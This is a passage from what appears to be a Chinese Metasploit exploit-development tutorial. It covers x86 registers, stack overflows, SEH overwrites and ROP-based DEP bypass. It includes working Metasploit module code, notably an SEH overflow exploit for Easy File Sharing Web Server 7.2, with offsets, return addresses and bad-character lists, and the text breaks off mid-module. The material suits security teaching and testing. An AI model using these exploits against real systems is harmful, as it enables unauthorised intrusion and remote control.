本章将介绍渗透模块的开发,在这个过程中还将涉及如何利用Metasploit的内置功能来加快开发的过程。本章将会介绍各种漏洞,并会尝试使用各种方法和途径去对这些漏洞进行渗透。除此之外,本章重点将放在渗透模块的开发上。本章还会涵盖各种用来辅助Metasploit编写渗透模块的工具。不过,掌握计算机架构是编写渗透模块的一个重要前提条件。如果对计算机的架构一窍不通,将无法理解这一切到底是如何运作的。因此,我们首先学习计算机的架构和开发渗透模块的基本要素。
本章将着眼于以下几个要点。
本节将着眼于渗透最重要的组成部分,同时也将就不同架构中的各种寄存器进行研究。我们将详细讨论指令指针寄存器(extended instruction pointer,EIP)和栈指针寄存器(extended stack pointer,ESP),以及它们在渗透模块编写中的重要作用。另外,空操作(no operation,NOP)指令和跳转(jump,JMP)指令以及它们在编写各种软件的渗透模块中的重要作用,也是将要学习的内容。
首先了解一下编写渗透模块所必需的基础部分。
下列术语都基于硬件特性、软件特性以及渗透的角度。
计算机的架构定义了系统是如何由各个组成部分组织而成的。首先了解基本的组成部分,然后再深入学习高级部分。
系统组织基础
在开始编写程序和完成调试之类的任务之前,首先来了解一下系统的各个组成部分是如何组织在一起的。关于这个内容,先来看下面这张图。
可以清楚地看到,系统中各个主要部分都是通过系统总线连接的。因此,CPU、内存和输入输出设备之间的每一次通信都需要通过系统总线。
CPU作为系统的中央处理单元,是系统中最重要的组成部分。可以根据下图来了解CPU中的各个组成部分以及它们的组织形式。
上图中显示了CPU的基本组成部分,例如控制单元(control unit,CU)、执行单元(execution unit,EU)、寄存器以及标志(flag)。接下来通过阅读下表来了解一下各个部分的功能。
组成部分 |
功能 |
---|---|
控制单元 |
主要负责指令的接收和译码工作,并将数据存储到内存中 |
执行单元 |
完成了真正的执行过程 |
寄存器 |
用来辅助系统执行的一个存储组件 |
标志 |
用来在系统执行时标识事件 |
寄存器是一种高速计算机内存组件。它的速度是所有存储设备中最快的。通常使用能同时处理的比特位数作为寄存器的衡量标准,例如8位寄存器和32位寄存器能分别同时处理8位和32位的存储单元。通用寄存器、段寄存器、标志寄存器、索引寄存器都是系统中不同类型的寄存器。它们几乎完成了系统全部的功能,因为在它们内部保存了所有要处理的数据。现在让我们来仔细看看这些寄存器以及它们的作用。
寄存器 |
用途 |
---|---|
EAX |
这是一个用来存储数据和操作数的累加器,大小为32位 |
EBX |
这是一个基地址寄存器,同时也是一个指向数据的指针,大小为32位 |
ECX |
这是一个以实现循环为目的的计数器,大小为32位 |
EDX |
这是一个用来保存I/O指针的数据寄存器,大小为32位 |
ESI/EDI |
两者都是索引寄存器,用作内存运算时的数据指针,大小为32位 |
ESP |
这个寄存器中保存了栈顶的位置,每当有元素进栈或出栈的时候,ESP的值都会发生改变,大小为32位 |
EBP |
这是一个栈数据指针寄存器,大小为32位 |
EIP |
这是指令指针,大小为32位,是本章中最重要的一个指针。它保存了要执行的下一指令的地址 |
SS、DS、ES、CS、FS和GS |
这些都是段寄存器,大小为16位 |
有关架构的基本知识以及用于渗透模块的各种系统调用和指令的更多信息,请访问http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/#x86。
缓冲区溢出是程序执行中的一个异常,即向缓冲区中写入数据时,这些数据超出了缓冲区的大小并且覆盖了内存地址。下图给出了一个非常简单的缓冲区溢出漏洞。
上图的左半部分显示了一个程序的结构,右半部分则显示了当满足缓冲区溢出条件时程序的表现。
但是如何才能利用这个缓冲区溢出漏洞呢?答案其实很简单。如果我们知道了用来保存EIP的起始地址前面的数据长度,那么就可以将任意数据保存到原来EIP的位置,从而控制所要执行的下一条指令的地址。
因此,我们要做的第一件事情就是确定覆盖EIP前面的所有数据所需要的准确字节数量。在接下来的内容中,我们将看到如何使用Metasploit来确定这个数量。
首先下载一个使用了有漏洞的函数编写的程序。先在命令行中运行这个程序。
可以看到,这个小程序在200端口上提供TCP服务。向这个200端口执行TELNET连接,然后提供随机数据,这个过程如下图所示。
提供了这些数据之后,与目标的连接便断开了,这是因为目标应用服务器已经崩溃。来看一下在目标服务器上发生了什么。
通过单击click here就可以获得一份错误报告,下面给出了具体的信息。
程序无法在地址41414141处找到下一条要执行的指令,从而导致了程序崩溃。这里面能找到一些蛛丝马迹吗?值41是字符A
的16进制表示,A
也正是我们输入的字符,它们超出了缓冲区的范围,接着覆盖了EIP寄存器。由于下一条指令的地址被重写,程序就试图按照这个41414141地址去寻找下一条要执行的指令,但这显然不是一个有效的地址,所以程序崩溃了。
从以下网址可以下载上面示例中使用的程序:http://redstack.net/blog/category/How%2To.html。
为了实现对目标应用的渗透并获取目标系统的权限,需要获取下表中列出的信息。
内容 |
用途 |
---|---|
偏移量(offset) |
我们在上一节中让应用程序崩溃了。为了渗透这个应用程序,需要确定填满缓冲区和EBP寄存器所需字节的准确长度,在这个长度后面的内容就会被保存到EIP寄存器中。我们将未填充进EIP寄存器的数据长度称为偏移量 |
跳转地址(jump address/ret) |
用来重写EIP寄存器的一个地址,通常是一个DLL文件的JMP ESP指令,可以让程序跳转到攻击载荷所在的地址 |
坏字符(bad character) |
坏字符指的是那些可能导致攻击载荷终止的字符。假设一个ShellCode中存在null字节(0x00),那么它在网络传输的过程中就可能导致缓冲过早的结束,从而出现意想不到的结果。应尽量避免坏字符 |
下图分步骤解释了渗透过程。
对照上图,必须完成以下步骤。
(1) 使用用户输入填充EIP寄存器起始地址之前的缓冲区和EBP寄存器。
(2) 使用JMP ESP的地址来改写EIP。
(3) 在攻击载荷之前提供一些填充数据。
(4) 删除攻击载荷本身的坏字节。
下面将详细地介绍这些步骤。
正如上一节所介绍的,开发渗透模块的第一个步骤就是找出偏移量。在这个过程中将使用Metasploit的两款工具,分别是pattern_create
和pattern_offset
。
使用pattern_create
工具
在上一节中,我们通过输入大量的字符A
导致了目标程序的崩溃。不过现在既然在研究如何构建一个可以工作的渗透模块,那么就必须找出导致程序崩溃的具体字符数量。Metasploit内置的pattern_create
工具可以完成这一工作——它产生了可以代替字符A
进行填充的字符序列,基于这个序列就可以改写EIP寄存器中的值。通过使用对应的工具pattern_offset
可以找出准确的字节数量。下图给出了具体的操作。
使用/tools/exploit/目录下面的pattern_create.rb脚本生成一个1000字节的字符序列,结果如上图所示。这个输出的序列可以当作参数输入到有漏洞的应用程序中,如下图所示。
从目标服务所在的终端上可以看到偏移量,下面给出了该程序的截图。
我们发现是72413372覆盖了EIP寄存器的地址。
使用pattern_offset
工具
在上一节中,我们已经得知用来改写EIP
内容的地址为72413372。接下来,使用pattern_offset
工具来计算改写EIP
所需的确切字节数量。这个工具需要两个参数,第一个是地址,第二个是长度——这个值是1000,也就是使用pattern_create
产生的字节序列的长度。可以按照如下方法找出偏移量。
计算出的结果为520。因此,在520个字节后面的4个字节就会填写到EIP寄存器中。
再来回顾一下渗透过程的图示。
现在已经成功完成了上图中的第一步,下面来查找JMP ESP的地址。之所以需要这个JMP ESP指令的地址,是因为我们通过ESP寄存器来载入攻击载荷,而不是在填充满缓冲区之后简单地找到攻击载荷。因此,需要从一个外部的DLL文件得到JMP ESP指令的地址,这个DLL文件将会使程序跳转到ESP中的地址,而这正是攻击载荷的起始地址。
为了找到这个跳转地址,需要一个调试器,这样才能知道这个有漏洞的应用程序载入了哪些DLL文件。我认为immunity调试器是最好的选择,它提供了各种用于编写渗透模块的插件。
使用immunity调试器查找可执行模块
immunity调试器是一种应用程序,它可以帮助我们观察一个程序在运行时的各种行为。这将有助于查找系统的漏洞、观察寄存器的值以及对程序实现逆向工程,等等。在immunity调度器中分析要渗透的应用程序,不仅能帮助我们了解各种寄存器中的值,也能提供目标程序的各种相关信息,例如当程序崩溃时的表现以及可执行模块链接生成的可执行文件。
单击immunity调试器菜单栏中的FILE选项,然后在弹出的下拉菜单中选择Open,这样就可以载入你想要调试的可执行文件。另外也可以通过单击菜单栏上的FILE选项,然后在下拉菜单中选择Attach选项,将一个程序的进程附加到immunity调试器中。接下来查看一下如何对一个进程实现附加操作。选择了FILE|Attach后,就可以看到目标系统中运行的全部进程列表。你需要做的只是选择合适的进程。不过,这里需要特别强调一点:当一个进程附加到了immunity调试器上之后,默认情况下,它会处于暂停状态。因此,需要按下Play按钮来将进程从暂停状态转换到运行状态。来看一下如何将一个进程附加到immunity调试器。
按下Attach按钮之后,首先单击View,然后再选择Executable Modules,这样就可以看到当前这个有漏洞的应用程序都载入了哪些DLL文件。下面列出了这个程序所使用的DLL文件。
现在已经取得了DLL文件列表,接下来需要在它们中找到JMP ESP的地址。
msfpescan
的使用
在前一节中,我们已经找到了和有漏洞应用程序相关联的DLL模块。现在有两种方案,一是使用immunity调试器查找JMP ESP指令的地址,这是一个漫长又耗时的过程;或者使用msfpescan
在一个DLL文件中查找JMP ESP指令的地址,这个过程快很多,而且也省去了大量的手动操作。
在命令行运行msfpescan
,可以得到下面的输出。
Kali Linux中内置的Metasploit版本中不再包含
msfbinscan
和msfrop
工具,不过如果你在Ubuntu中手动安装Metasploit则可以使用这些功能。
你可以利用msfpescan
完成各种任务,例如为基于SEH的栈溢出查找POP-POP-RET
指令的地址,或者显示指定地址的代码。现在只需要查找JMP ESP指令的地址,这可以通过在参数-j
后面添加寄存器名字来实现,这里寄存器的值为ESP。下面在ws2_32.dll文件中进行查找,以找到JMP ESP的地址。
这个命令返回的结果是0x71ab9372
,这是在ws2_32.dll文件中JMP ESP指令的地址。然后只需用这个地址来重写EIP寄存器中的内容,攻击载荷就可以成功找到并执行ShellCode。
现在来回顾一下这个渗透过程图,了解当前进行的步骤。
现在已经完成了第二个步骤。不过这里必须指出一点,有时会由于内存空间的不规则分布导致ShellCode的前几个字节被从整体中分离了出去,从而造成ShellCode无法执行。在这种情况下,我们的处理方法就是在ShellCode前面添加一些NOP作为前缀,这样就可以按照预计来执行ShellCode了。
假设我们将ABCDEF
发送到ESP。当使用immunity调试器对其进行分析时,得到的内容只有DEF
。在这个示例中,我们丢失了3个字符。因此,我们将使用3个NOP字节或者其他随机数据来填充攻击载荷。
现在来看看在有漏洞的应用程序中进行数据填充是不是必需的。
在上图中,我们基于缓冲区的大小创建了数据。我们事前已经知道偏移量是520,因此在520后面以小端模式给出JMP ESP指令的地址,然后给出一串随机的字符,即“ABCDEF”。在发送生成的随机字符之后,使用immunity调试器对ESP寄存器中的内容进行分析,结果如下。
可以看到,这个随机的字符串“ABCDEF”中的字符A
已经丢失。因此,只需要填充一个字节就可以实现对齐操作。使用少量额外的NOP来填充ShellCode前面的空间是避免问题产生的最佳实践。
NOP的实用性
NOP和NOP-sled指的是不进行任何操作的指令。它的任务仅仅是使程序在没有完成任何操作的状态下执行到下一个内存地址。使用NOP可以达到内存中ShellCode的存放地址。因此可以在ShellCode前添加大量的NOP,这样就消除了内存地址的不确定性。这些指令不进行任何操作,仅仅是顺序地执行到下一个地址。空指令使用16进制的表示形式,就是\x90
。
有时即便所有渗透工作都已正确完成,却不能成功渗透到目标系统中。或者渗透工作完成了,但是攻击载荷却没有执行。当渗透模块中提供的数据被目标系统进行了截断或者不当解析时,就会出现以上现象。这将导致整个渗透模块不能工作,我们也将无法获得控制系统的shell或者Meterpreter。在这种情况下,需要找到那些导致不能运行的坏字符。处理这种情况的最好办法就是找到匹配的渗透模块,将坏字符从渗透模块中移除。
需要在渗透模块的Payload
段中定义这些坏字符。看看下面这个例子。
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
这段代码位于/exploit/windows/ftp目录下的freeftpd_user.rb文件中。这里列出的选项表明payload所占用的空间应该小于800字节,而且应该避免使用0x00、0x20、0x0a和0x0d,也就是null字符、空格符、换行符和回车符。
有关确定坏字符的更多信息,请访问:http://resources.infosecinstitute.com/stack-based-buffer-overflow-in-win-32-platform-part-6-dealing-with-characters-jmp-instruction/。
攻击载荷中的变量空间确定了用于载入ShellCode的空间大小。我们需要为载入的攻击载荷中的ShellCode安排足够的空间。如果攻击载荷很大,但是分配的空间却小于ShellCode,它将无法执行。另外,当编写自定义模块时,ShellCode越小越好。我们可能会遇到这样一种情况,一个可用的ShellCode需要至少800个字节,但是可用空间只有200个字节。这种情况下,可以先在缓冲区中载入第一个较小的ShellCode,然后再下载和执行第二个较大的ShellCode,这样就可以完成整个渗透过程。
从以下网址可获得各种攻击载荷模块中较小的ShellCode:http://www.shell-storm.org/ShellCode/。
来回顾一下渗透过程图,并检查是否已经完成了模块。
到现在为止,我们已经掌握了开发Metasploit模块所需的所有内容。因为在Metasploit中,攻击载荷是自动生成的,而且也可以动态地进行修改。好了,现在就开始吧!
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Stack Based Buffer Overflow Example',
'Description' => %q{
Stack Based Overflow Example Application Exploitation Module
},
'Platform' => 'win',
'Author' =>
[
'Nipun Jaswal'
],
'Payload' =>
{
'space' => 1000,
'BadChars' => "\x00\xff",
},
'Targets' =>
[
['Windows XP SP2',{ 'Ret' => 0x71AB9372, 'Offset' => 520}]
],
'DisclosureDate' => 'Mar 04 2018'
))
register_options(
[
Opt::RPORT(200)
])
end
在开始运行这段代码之前,先来看看这段代码中使用的库文件。
引入语句 |
路径 |
用途 |
---|---|---|
|
|
TCP库文件提供了基础的TCP函数,例如连接、断开、写数据等 |
我们按照和第2章完全一样的方式来构建模块。首先包含必要的库路径,再从这些路径引入必需的文件。将模块的类型定义为Msf::Exploit::Remote
,这表示一个远程渗透模块。接下来初始化构造函数,在其中定义名字、描述、作者信息等内容。然而,在这些初始化方法里有一些新的声明,下表给出了这些声明的详细信息。
声明 |
值 |
用途 |
---|---|---|
|
|
定义了渗透模块所适用的目标平台,值设为 |
|
|
披露漏洞的时间 |
|
|
|
|
|
偏移量字段给出了在特定操作系统中填充EIP之前的缓冲区所需要的字节数量,在上一节中已经找到了这个值 |
|
|
攻击载荷中的变量 |
|
|
攻击载荷中的变量 |
我们在register_options
字段定义了渗透模块的端口为200。下面是剩余的代码:
def exploit
connect
buf = make_nops(target['Offset'])
buf = buf + [target['Ret']].pack('V') + make_nops(10) + payload.encoded
sock.put(buf)
handler
disconnect
end
end
下面来了解一些上述代码中的重要函数。
函数 |
库文件 |
用途 |
---|---|---|
|
/lib/msf/core/exploit.rb |
通过传递过来的参数n的值创建相同数量的NOP |
|
/lib/msf/core/exploit/tcp.rb |
建立与目标的连接 |
|
/lib/msf/core/exploit/tcp.rb |
切断与目标已建立的连接 |
|
/lib/msf/core/exploit.rb |
将连接传递给相关的攻击载荷handler,以检查渗透模块是否成功执行、连接是否建立 |
在上一节中我们已经了解到,函数run
是作为辅助模块的默认函数被使用的。不过对于渗透模块来说,exploit
才是默认的主函数。
首先使用connect
函数连接目标,然后使用make_nops
函数生成520个NOP(520这个数值由初始化部分target
声明中的Offset
字段决定)。将这520个NOP保存到buf
变量中。在接下来的一条指令中,将JMP ESP的地址保存到buf
(这个地址的值由初始化部分target
声明中Ret
字段决定)中。使用pack('V')
就可以将这个地址转换为小端模式。紧接着向Ret
地址中添加少量NOP作为ShellCode的填充。使用Metasploit的优势之一就是可以动态地切换攻击载荷,使用payload.encoded
可以将选中的攻击载荷添加到buf
变量中。
接下来,使用sock.put
函数将buf
的值发送到已连接的目标上。然后运行handler方法检查目标是否已经被成功渗透,以及是否成功建立了一个连接。最后,使用disconnect
断开和目标的连接。下面来看看是否成功地渗透了这个服务。
我们设定好了所需的选项,并将攻击载荷设置为windows/meterpreter/bind_tcp——这个攻击载荷表示和目标直接连接。可以看到,虽然我们的渗透已经开始了,但是没有成功地建立会话。因此,我们将渗透代码中的\x00\xff修改为\x00\x0a\x0d\x20,如下图所示。
我们可以在Metasploit中使用edit
命令来修改模块。默认情况下,这个文件将会被VI编辑器加载。另外,你也可以使用nano编辑器来进行修改。当你完成了对模块的修改之后,就需要在Metasploit中重新加载它。目前我们正在使用的这个模块就可以使用reload
命令重新加载,如上图所示。重新运行这个模块,我们立刻获得了目标的Meterpreter控制权限。现在我们已经成功地完成了第一个渗透模块的开发,在下一个示例中,我们将开始开发一个高级的渗透模块。
异常处理程序(exception handler)是用来捕获在程序执行期间生成的异常和错误的代码模块,这种机制可以保证程序继续执行而不崩溃。Windows操作系统中也有默认的异常处理程序,在一个应用程序崩溃的时候,我们一般会看到系统弹出一个“XYZ程序遇到错误,需要关闭”的窗口。当程序产生了异常之后,就会从栈中加载catch代码的地址并调用catch代码。因此,如果以某种方式设法覆盖了栈中异常处理程序的catch代码地址,我们就能够控制这个应用程序。接着来看一个使用了异常处理程序的应用程序在栈中是如何安排其内容的。
由上图可知,栈中包含了catch块的地址。还可知,只要向程序提供足够多的数据,就可改写栈中catch块的地址。因此,可以使用Metasploit中的pattern_create
和pattern_offset
这两个工具来找到这个用于改写catch块地址的偏移量。下面给出了一个示例。
我们创建了一个4000个字符的字符序列,并使用TELNET
命令将它们发送到目标,然后在immunity调试器中查看这个应用程序的栈。
可以看到,这个应用程序的栈中SE handler的地址已经被改写为45346E45
。接着使用pattern_offset
查找精确的偏移量,过程如下图所示。
精确的匹配值为3522
。不过这里必须要指出一点,根据SEH框架的结构,可以看到如下图所示的部分。
根据上图,一个SEH记录中的前4个字节是它后面的SEH异常处理程序的地址,后4个字节是catch块的地址。一个应用程序可能有多个异常处理程序,因此一个SEH记录将前4个字节用来保存下一条SEH记录的地址。下面来看看如何能更好地利用SEH记录。
(1) 引起应用程序的异常,这样才可以调用异常处理程序。
(2) 使用一条POP/POP/RETN
指令的地址来改写异常处理程序的地址,因为我们需要将执行切换到下一条SEH记录的地址(catch异常处理程序地址前面的4个字节)。之所以使用POP/POP/RET
,是因为用来调用catch块的内存地址保存在栈中,指向下一个异常处理程序指针的地址就是ESP+8(ESP是栈顶指针)。因此,两个POP操作就可以将执行重定向到下一条SEH记录的地址。
(3) 在第一步输入数据的时候,我们已经将到下一条SEH记录的地址替换成了跳转到攻击载荷的JMP指令的地址。因此,当第二个步骤结束时,程序就会跳过指定数量的字节去执行ShellCode。
(4) 当成功跳转到ShellCode之后,攻击载荷就会执行,我们也获得了目标系统的管理权限。
下图可以帮助我们更好地了解这个过程。
如上图所示,当一个异常发生时,异常处理程序的地址(已经使用POP/POP/RET
指令的地址改写过)就会被调用。这会导致POP/POP/RET
的执行,并将执行的流程重新定向到下一条SEH记录的地址(已经使用一个短跳转指令改写过)。因此当JMP指令执行的时候,它会指向ShellCode;而在应用程序看来,这个ShellCode只是另一条SEH记录。
现在我们已经熟悉了基本知识,接下来看看建立一个基于SEH的渗透模块的要点。
组件 |
用途 |
---|---|
offset |
在这个模块中,offset指的是用来改写catch块地址的输入字符的精确数量 |
|
为了将执行重定向到短跳转指令,需要一个 |
短跳转指令 |
为了能跳转到ShellCode的开始处,需要跳过指定数量的字节,因此就需要一条短跳转指令 |
我们现在需要一个攻击载荷,并对其进行消除坏字符、确定空间限制等操作。
我们现在要处理的这个有漏洞的应用程序是简单文件分享Web服务器7.2(Easy File Sharing Web Server 7.2),这个Web应用程序在处理请求时存在漏洞——一个恶意的请求头部就可以引起缓冲区溢出,从而改写SEH链的地址。
使用pattern_create
工具
我们可以像之前一样将这个有漏洞的程序附加在调试器上,然后使用pattern_create
和pattern_offset
这两个工具来计算偏移量。下面给出了具体过程。
首先创建一个10 000个字符的序列,然后将这个序列发送到目标程序的80端口,并在immunity调试器中分析这个程序的行为。我们将会看到这个程序停止了。然后点击菜单栏上的View选项,在弹出的下拉菜单中选中SEH chain来查看SEH链。
单击SEH chain选项就可以看到被我们提供的数据所修改的catch块和下一条SEH记录的地址。
使用pattern_offset
工具
接着来到下一条SEH记录地址的偏移量以及到catch块地址的偏移量,过程如下图所示。
可以清楚地看到,下一条SEH记录的起始地址在4061字节处,而catch块的偏移量在它后面4个字节,也就是4065字节处。
POP/POP/RET
地址正如之前所讨论的,我们需要POP/POP/RET
指令的地址来载入下一条SEH记录的地址,并跳转到攻击载荷。这需要从一个外部的DLL文件载入一个地址,不过现在大多数最先进的操作系统都使用SafeSEH保护机制来编译DLL,因此我们需要一个没有被SafeSEH保护的DLL模块的POP/POP/RET
指令地址。
示例中的应用程序在接收到下面的
HEAD
请求后就会崩溃,HEAD
后面是使用pattern_create
工具创建的无用数据,然后是HTTP/1.0rnrn
。
Mona脚本
Mona脚本是一个用Python编写的用于immunity调试器的插件,它提供了大量用于渗透的功能。这个脚本可以从https://github.com/corelan/mona/blob/master/mona.py下载。插件的安装也很简单,只需要将这个脚本放置在\Program Files\Immunity Inc\immunity调试器\PyCommands目录中即可。
现在运行!mona modules
命令启动Mona,使用Mona分析DLL文件,如下图所示。
由上图可知,这里的DLL文件很少,而且都没有受SafeSEH机制的保护。利用这些文件,就可以查找POP/POP/RET
指令的相关地址。
如果想获取关于Mona脚本的更多信息,请访问https://www.corelan.be/index.php/211/7/14/mona-py-the-manual/。
msfpescan
的使用
可以使用msfpescan
的-p
参数轻松地找到POP/POP/RET
指令序列。下面给出了在ImageLoad.dll文件中应用这个方法的结果。
让我们使用一个安全的地址,排除所有可能会引起HTTP协议问题的地址(例如说连续不断的0)。
我们将会使用0x10019798
作为POP/POP/RET
的地址。现在已经有了两个用来编写渗透模块的重要组件,一个是偏移量,另一个是用来载入catch块的地址,也就是POP/POP/RET
指令地址。现在就差一条短跳转指令了——用来载入下一条SEH记录的地址,并帮助程序跳转到ShellCode。Metasploit库文件的内置功能便可以提供短跳转指令。
现在我们已经拥有了用于渗透目标应用程序的全部重要数据,接着创建Metasploit中的渗透模块,过程如下。
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description' => %q{
This module demonstrate SEH based overflow example
},
'Author' => 'Nipun',
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'RPORT' => 80,
},
'Payload' =>
{
'Space' => 390,
'BadChars' => "x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798, 'Offset'
=> 4061 } ],
],
'DisclosureDate' => 'Mar 4 2018',
'DefaultTarget' => 0))
end
我们之前已经编写过各种模块的头部了——首先引入所需的库文件,接着定义类和模块类 型——这和之前完成的模块是一样的。我们在初始化部分定义了名字、描述、作者信息、许可信息、攻击载荷选项、漏洞泄露日期和默认目标。还用到了一个地址和一个偏移量:地址是POP/POP/RET
指令的地址0x10019798
,保存在变量Ret
(return address)中;偏移量4061
保存在变量Offset
中。这两个变量都保存在Target
字段中。我们之所以使用4061
来代替4065
,是因为Metasploit会自动生成一个到ShellCode的短跳转指令。因此,要将4065
字节的地址向前移4个字节,这样就可以把短跳转指令放到原本用来存放下一条SEH记录地址的位置。
在进行更深入的学习之前,先来看看在这些模块中使用到的重要函数。我们之前已经看过了make_nops
、connect
、disconnect
和handler
这4个函数的用法,下面给出了generate_seh_record()
函数的详细信息。
函数 |
库文件 |
用途 |
---|---|---|
|
|
这个函数提供了产生SEH记录的方法 |
回到代码:
def exploit
connect
weapon = "HEAD "
weapon << make_nops(target['Offset'])
weapon << generate_seh_record(target.ret)
weapon << make_nops(19)
weapon << payload.encoded
weapon << " HTTP/1.0rnrn"
sock.put(weapon)
handler
disconnect
end
end
这个渗透函数首先连接目标,然后产生一个恶意的HEAD
请求(通过向HEAD
请求添加4061个NOP实现)。接着,使用generate_seh_record()
函数生成一条8字节的SEH记录,其中的前4个字节会让指令跳转到攻击载荷上。通常这4个字节包含着如"\xeb\x0A\x90\x90"
这样的指令,其中\xeb
意味着短跳转指令,\x0A
表示要跳过12字节,\x90\x90 NOP
指令则作为填充,保证长度为4个字节。
使用NASM shell编写汇编指令
使用NASM shell编写短汇编代码相当方便。我们在上一节中使用函数generate_seh_record()
自动创建了SEH记录,并且只使用了简短的汇编代码——\xeb\x0a
表示跳过12个字节的短跳转指令。不过当我们要手动生成SEH记录时,则完全不需要上网去查找操作码,只需使用NASM shell就可以轻松地编写出汇编代码。
在上一个示例中,我们已经有了一个简单的汇编调用,就是JMP SHORT 12
。不过我们还不知道这条指令的操作码,因此使用NASM shell来找出这个操作码。
由上图可知,在目录/usr/share/Metasploit-framework/tools/exploit中运行nasm_shell.rb脚本之后,就可以通过简单地输入命令获得对应的操作码了。这一次得到的操作码和之前讨论过的一样,都是EB0A
。因此,在之后所有的示例中都将使用NASM shell,这可以节省大量的时间和精力。
现在回到主题上来。Metasploit允许我们使用generate_seh_record()
函数跳过提供跳转指令和到达攻击载荷的字节数量。接下来,我们要在攻击载荷前填充一些数据,用来消除影响攻击载荷运行的不利因素,并使用HTTP/1.0\r\n\r\n
作为请求头部的结束部分。最后,将保存在变量weapon
中的数据发送到目标上,然后调用handler方法来检查该尝试是否成功。如果成功,我们将获得控制目标的权限。
下面来运行这个模块,并对其进行分析。
下面设置模块所需的所有选项,然后运行exploit
命令。
我们成功地渗透了运行着Windows 7的目标系统。现在你知道在Metasploit中创建一个SEH模块是多么简单的事情了吧!在下一节中,我们会再深入一些,研究如何绕过DEP之类的安全机制。
想获取更多关于SEH mixin的详细信息,请访问https://github.com/rapid7/metasploit-framework/wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler。
数据执行保护(data execution prevention,DEP)是一种将特定内存区域标记为不可执行的保护机制,这种机制会导致我们在渗透过程中无法执行ShellCode。因此,即使我们可以改写EIP寄存器中的内容并成功地将ESP指向了ShellCode的起始地址,也无法执行攻击载荷。这是因为DEP的存在阻止了内存中可写区域(例如栈和堆)中数据的执行。在这种情况下,我们必须使用可执行区域中的现存指令实现预期的功能——可以通过将所有的可执行指令放置成一个可以让跳转跳到ShellCode的顺序来实现这一目的。
绕过DEP的技术被称为返回导向编程(return oriented programming,ROP)技术,它不同于通过覆盖改写EIP内容,并跳转到ShellCode栈溢出的普通方法。当DEP启用之后,我们将无法使用这种技术,因为栈中的数据是不能执行的。因此我们不再跳转到ShellCode,而是调用第一个ROP指令片段(gadget)。这些指令片段会共同构成一个链式结构,一个指令片段会返回下一个指令片段,而不执行栈中的任何代码。
我们将在下一节看到如何查找ROP指令片段。它通过寄存器完成各种操作的指令,后面都以一条return(RET
)指令结尾。想要找到ROP指令片段,最好的方法就是在载入的模块(DLL)中查找。这些指令片段依次从栈中执行,并返回下一个地址,这种组合方式被称为ROP链。
我们现在已经有了一个有栈溢出漏洞的示例应用程序。将EIP的偏移量改写为2006。下面给出了使用Metasploit成功渗透这个程序之后的显示。
我们已经轻松地获得了目标的Meterpreter控制权限。接下来在目标的Windows操作系统中打开DEP保护,这个保护可以在系统属性(system property)的高级系统属性(advanced system property)中打开,如下图所示。
接下来选中“为除选中项以外的所有程序和服务开启DEP保护” (Turn on DEP for all programs and services except those I select)来启动DEP,然后重新启动我们的系统,尝试渗透同一个漏洞,结果如下图所示。
这次渗透失败了,因为ShellCode并没有执行。
可以从以下地址下载示例程序:http://www.thegreycorner.com/2010/12/introducing-vulnserver.html。
我们将在下一节看到如何使用Metasploit绕过DEP的限制,并获得被保护系统的控制权限。保持DEP保护运行,将这个有漏洞的应用程序附加到调试器中,显示的结果如下图所示。
和之前一样,输入命令!mona modules
启用Mona脚本,就可以找到所有模块的信息。不过为了构建ROP链,需要在这些DLL文件中找到所有可执行ROP的指令片段。
msfrop
查找ROP指令片段Metasploit提供了一款可以查找ROP指令片段的便利工具:msfrop
。这款工具不仅可以列出所有ROP指令片段,还可以在这些指令片段中找到符合我们需求的部分。下面使用msfrop
查找一条可以实现ECX寄存器出栈操作的指令片段,过程如下图所示。
使用 -s
参数进行查找,使用 -v
实现详细输出之后,我们首先得到了所有使用POP ECX操作的指令片段。下图为操作结果。
我们现在已经找到了大量可以用来完成POP ECX操作的指令片段。不过为了构建一个可以成功绕过DEP保护机制的Metasploit渗透模块,我们需要在栈中建立一个不会执行任何实际操作的ROP指令片段链。下图展示了使用ROP绕过DEP保护的原理。
左侧是一个正常程序的分布图;中间是一个被缓冲区溢出漏洞攻击过的程序分布图,其中的EIP寄存器已经被覆盖改写;右侧是一个用来绕过DEP机制的分布图——这里并没有使用JMP ESP的地址,而是使用ROP指令片段的地址改写了EIP中的内容,后面紧接着另一个ROP指令片段,直到ShellCode成功执行。
那么如何才能绕过硬件启用的DEP保护呢?
答案很简单,技巧就是将这些ROP指令片段连成一个链,以便调用VirtualProtect()
函数。它是一个内存保护函数,可以让栈中数据执行,从而使ShellCode执行。下面来看一下如何在受DEP保护的情况下进行渗透。
(1) 计算到EIP寄存器的偏移量。
(2) 使用第一个ROP指令片段覆盖改写寄存器。
(3) 使用其他的指令片段持续覆盖改写寄存器,直到ShellCode可执行。
(4) 执行ShellCode。
通过使用immunity调试器中的Mona脚本,不仅可以找到ROP指令片段,还可以创建整个ROP链,如下图所示。
在immunity调试器的命令行中使用命令!mona rop -m *.dll -cp nonull
就可以找到所有关于ROP代码片段的信息。下图给出了使用Mona脚本产生的文件。
我们获得了一个名为rop_chains.txt的文件,这个文件中包含了可以直接用于渗透模块的完整ROP链。这些ROP链使用Python、C和Ruby语言编写而成,可以在Metasploit中使用。我们只需将这个ROP链复制到我们的渗透模块中即可。
为了创建一个可以触发VirtualProtect()
函数的ROP链,需要对寄存器进行如下设置。
下图给出了使用Mona脚本创建的ROP链。
我们已经完成了create_rop_chain
函数的编写,并将其保存到了rop_chains.txt文件中。现在只需将这个函数复制到渗透模块中即可。
本节的目标还是之前那个因开启了DEP保护而导致渗透失败的应用程序。这个程序运行在9999端口,并且存在一个栈溢出漏洞。下面快速建立一个模块,再次尝试对这个开启了DEP保护的程序进行渗透。
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
